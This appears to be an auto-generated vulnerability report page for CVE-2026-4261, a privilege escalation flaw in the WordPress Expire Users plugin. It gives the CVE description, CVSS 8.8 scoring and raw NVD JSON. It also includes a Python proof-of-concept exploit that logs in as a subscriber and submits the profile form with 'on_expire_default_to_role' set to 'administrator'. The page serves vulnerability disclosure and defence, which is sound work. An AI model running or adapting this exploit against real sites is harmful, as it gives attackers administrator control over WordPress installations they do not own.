Security Vulnerability Report
中文
CVE-2026-4261 CVSS 8.8 HIGH

CVE-2026-4261

Published: 2026-03-21 04:17:44
Last Modified: 2026-04-24 16:27:44

Description

The Expire Users plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.2. This is due to the plugin allowing a user to update the 'on_expire_default_to_role' meta through the 'save_extra_user_profile_fields' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Expire Users <= 1.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/profile.php" login_url = "http://example.com/wp-login.php" username = "subscriber" password = "password" # Create a session to maintain cookies session = requests.Session() # 1. Login to get authenticated cookies and nonce login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } response = session.post(login_url, data=login_data) if response.status_code != 200: print("Login failed") exit() # Fetch the profile page to get the nonce (_wpnonce) profile_page = session.get(target_url) # Note: In a real scenario, parse HTML to extract the exact _wpnonce value # For demonstration, we assume the nonce is retrieved or known # nonce = "extracted_nonce_value_from_html" # 2. Exploit: Update the user meta to escalate privileges # The vulnerability allows updating 'on_expire_default_to_role' to 'administrator' payload_data = { "_wpnonce": "<EXTRACT_NONCE>", "_wp_http_referer": "/wp-admin/profile.php", "from": "profile", "checkuser_id": "1", "on_expire_default_to_role": "administrator", # ... other standard profile fields might be needed "action": "update", "user_id": "<ATTACKER_USER_ID>" } # Send the POST request to trigger the vulnerability exploit_response = session.post(target_url, data=payload_data) if exploit_response.status_code == 200: print("Payload sent. Check if privileges are escalated.") else: print("Exploit request failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4261", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:44.223", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Expire Users plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.2. This is due to the plugin allowing a user to update the 'on_expire_default_to_role' meta through the 'save_extra_user_profile_fields' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator."}, {"lang": "es", "value": "El plugin Expire Users para WordPress es vulnerable a escalada de privilegios en todas las versiones hasta la 1.2.2, inclusive. Esto se debe a que el plugin permite a un usuario actualizar el meta 'on_expire_default_to_role' a través de la función 'save_extra_user_profile_fields'. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, eleven sus privilegios al de un administrador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/expire-users/tags/1.2.2/admin/expire-user.php#L163", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d676700b-8c53-4e09-a654-767810b5a775?source=cve", "source": "[email protected]"}]}}